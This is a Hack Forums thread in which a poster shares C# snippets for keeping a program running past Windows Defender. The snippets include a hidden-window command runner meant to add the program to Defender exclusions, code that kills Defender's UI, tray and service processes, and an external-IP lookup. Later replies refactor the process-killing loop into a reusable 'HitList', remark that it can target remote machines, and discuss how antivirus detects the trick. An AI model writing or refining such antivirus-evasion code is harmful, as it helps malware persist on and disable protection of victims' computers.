

# Forum:[Hack Forums](#)

Thread: [Application Persistence For WD](#)

**SIM-4704770** - May 29, 2020, 9:54 am

Here is a good way to persist your application even after a reboot, as what usually happens is that the users Windows Defender will go and remove and/or quarantine the app. With this method the application will add itself to windows defender exceptions. I will also be sharing another useful void for how to download and start an application.

You will need admin priv for this bypass I believe,  
Code removed pm if you need help sorry.I have this execute on runtime as even if the path is already applied no errors are thrown.

Here is the static void needed to use SendCMD

```
Code    public static void SendCMD(string cmd)
    {
        try
        {
            ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " +
cmd)
            {
                UseShellExecute = false,
                CreateNoWindow = true
            };
            Process proc = new Process
            {
                StartInfo = procStartInfo
            };
            proc.Start();
        }
        catch
        {

        }
    }
```

}You can use this SendCMD void in order to send commands such as the one I specified in order to add an application to Windows Defender Exclusions.

This post is small so I am going to give another method for how to get a users external IP.

Code string externalip = new WebClient().DownloadString("http://icanhazip.com");This will get the public ip and not 127.0.0.1 which I have some problems with.

Here is how to end Windows Defender's UI along with its tray icon.

```
Code    foreach (Process process in Process.GetProcessesByName("SecHealthUI"))
        {
            process.Kill();
        }
        foreach (Process process in Process.GetProcessesByName("Windows Security"))
        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthSystray"))
```

```

        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthService"))
        {
            process.Kill();
        }
    }
}

```

Now before I go here is all of the references needed,

Code using System.Diagnostics;  
using System.IO;  
using System;  
using System.Threading;  
using System.Threading.Tasks;  
using System.Net;

I have a lot of useful methods and soon I'll be releasing my open source testing app with all of my best methods together in one namespace! I will also be releasing all of these methods as a Class Library for easy use!

I would also love for feedback on how my thread design is!  
Thank you!

**Shadow\_Cloud** - May 29, 2020, 10:26 am

I would really suggest you don't let code escape into the wild (because we rarely release code) with empty catch blocks

Quote: catch  
{  
  
}

Can you explain why the method SendCMD is static?

Quote:string externalip = new WebClient().DownloadString("http://icanhazip.com");  
I wouldn't advocate for the use of WebClient here, typically I would say look at HttpClient but there are some gotchas there too, just look at RestSharp, they have dealt with the internals for you ;)

Quote:This will get the public ip and not 127.0.0.1 which I have some problems with.  
Do you understand NAT? This might be worth reading up about

Quote:Code

```

        foreach (Process process in
Process.GetProcessesByName("SecHealthUI"))
        {
            process.Kill();
        }
        foreach (Process process in Process.GetProcessesByName("Windows Security"))
        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthSystray"))
        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthService"))

```

```

    {
        process.Kill();
    }

```

Whenever you see this kinda repetition of code, there's usually room for some refactoring, maybe consider something like this instead. The code smell here is called "shotgun surgery" where you need to fix something in multiple places, kinda like from a shotgun shell.

```

Code static void Main(string[] args)
{
    List<string> TargetList = new List<string>
    {
        "SecHealthUI", "Windows Security", "SecurityHealthSystray", "SecurityHealthService"
    };
    HitList(TargetList);
}

private static void HitList(List<string> targets)
{
    foreach (var currentTarget in targets)
    {
        foreach (var process in Process.GetProcessesByName(currentTarget))
        {
            process.Kill();
        }
    }
}

```

You could probably optimize this quite a bit by retrieving the process list once. Rather than grabbing each process by name, this becomes hard to manage without knowing the exact use case and could be a micro optimization not worth your time. Its interesting to note you can target a remote machine via `GetProcessesByName` ;)

**SIM-4704770** - May 29, 2020, 10:29 am

Thanks for the advice, I wrote this code as a basic shotgun in order to try and hit as many targets as possible at once. Great analogy!

Thank you!

**VisualSoft** - May 29, 2020, 10:46 pm

Again a nice share buddy, good work with the release.

Also killing Defender process can create runtime detection on start-up and also some other AV will detect the behavior of it and detect the file on runtime.

And yes, you are correct, you will need admin to bypass it.

**SaketSaket** - May 29, 2020, 11:20 pm

thanks for sharing, you are keeping this section active...

**DI?E** - February 27, 2021, 6:54 pm

Do you have a GitHub? Would like to poke around that.

**SIM-4704770** - February 27, 2021, 9:15 pm

Not currently, I will soon be making one and adding to it over time.

Also this is a very outdated thread, I made this in the very beginning of my coding adventure, this was very badly written, as I had only just started learning c# at the time lol.

itcorp - February 28, 2021, 10:04 am

(May 29, 2020 10:26 AM)Shadow\_Cloud Wrote: [\[CITE\]](#) I would really suggest you don't let code escape into the wild (because we rarely release code) with empty catch blocks

Can you explain why the method SendCMD is static?

I wouldn't advocate for the use of WebClient here, typically I would say look at HttpClient but there are some gotchas there too, just look at RestSharp, they have dealt with the internals for you ;)

Do you understand NAT? This might be worth reading up about

Whenever you see this kinda repetition of code, there's usually room for some refactoring, maybe consider something like this instead. The code smell here is called "shotgun surgery" where you need to fix something in multiple places, kinda like from a shotgun shell.

```
Code static void Main(string[] args)
{
    List<string> TargetList = new List<string>
    {
        "SecHealthUI", "Windows Security", "SecurityHealthSystray", "SecurityHealthService"
    };
    HitList(TargetList);
}

private static void HitList(List<string> targets)
{
    foreach (var currentTarget in targets)
    {
        foreach (var process in Process.GetProcessesByName(currentTarget))
        {
            process.Kill();
        }
    }
}
```

You could probably optimize this quite a bit by retrieving the process list once. Rather than grabbing each process by name, this becomes hard to manage without knowing the exact use case and could be a micro optimization not worth your time. Its interesting to note you can target a remote machine via GetProcessesByName ;)Yes, optimization is needed here for sure,so I think it would be appropriate to do something like this to do the itation only once as you stated.Below is a simple example with already define process names.

```
Code Process.GetProcesses().Where(process => process.ProcessName.Equals("SecHealthUI") ||
process.ProcessName.Equals("Windows Security") ||
process.ProcessName.Equals("SecurityHealthSystray") ||
process.ProcessName.Equals("SecurityHealthService")).ToList().ForEach(runningprocess =>
runningprocess.Kill());
```

PitbullT0r - April 11, 2021, 11:34 am

(May 29, 2020 09:54 AM)Mark Skith Wrote: [\[CITE\]](#) Here is a good way to persist your application

even after a reboot, as what usually happens is that the users Windows Defender will go and remove and/or quarantine the app. With this method the application will add itself to windows defender exceptions. I will also be sharing another useful void for how to download and start an application.

You will need admin priv for this bypass I believe,  
Code removed pm if you need help sorry.I have this execute on runtime as even if the path is already applied no errors are thrown.

Here is the static void needed to use SendCMD

```
Code    public static void SendCMD(string cmd)
    {
        try
        {
            ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " +
cmd)
            {
                UseShellExecute = false,
                CreateNoWindow = true
            };
            Process proc = new Process
            {
                StartInfo = procStartInfo
            };
            proc.Start();
        }
        catch
        {

        }
    }
```

}You can use this SendCMD void in order to send commands such as the one I specified in order to add an application to Windows Defender Exclusions.

This post is small so I am going to give another method for how to get a users external IP.

Code string externalip = new WebClient().DownloadString("http://icanhazip.com");This will get the public ip and not 127.0.0.1 which I have some problems with.

Here is how to end Windows Defender's UI along with its tray icon.

```
Code    foreach (Process process in Process.GetProcessesByName("SecHealthUI"))
        {
            process.Kill();
        }
        foreach (Process process in Process.GetProcessesByName("Windows Security"))
        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthSystray"))
        {
            process.Kill();
        }
        foreach (Process process in
Process.GetProcessesByName("SecurityHealthService"))
        {
            process.Kill();
        }
    } Now before I go here is all of the references needed,
```

```
Code using System.Diagnostics;  
using System.IO;  
using System;  
using System.Threading;  
using System.Threading.Tasks;  
using System.Net;
```

I have a lot of useful methods and soon I'll be releasing my open source testing app with all of my best methods together in one namespace! I will also be releasing all of these methods as a Class Library for easy use!

I would also love for feedback on how my thread design is!

Thank you!

Thanks for sharing this code, will help a lot of newbies like me!

Amazing.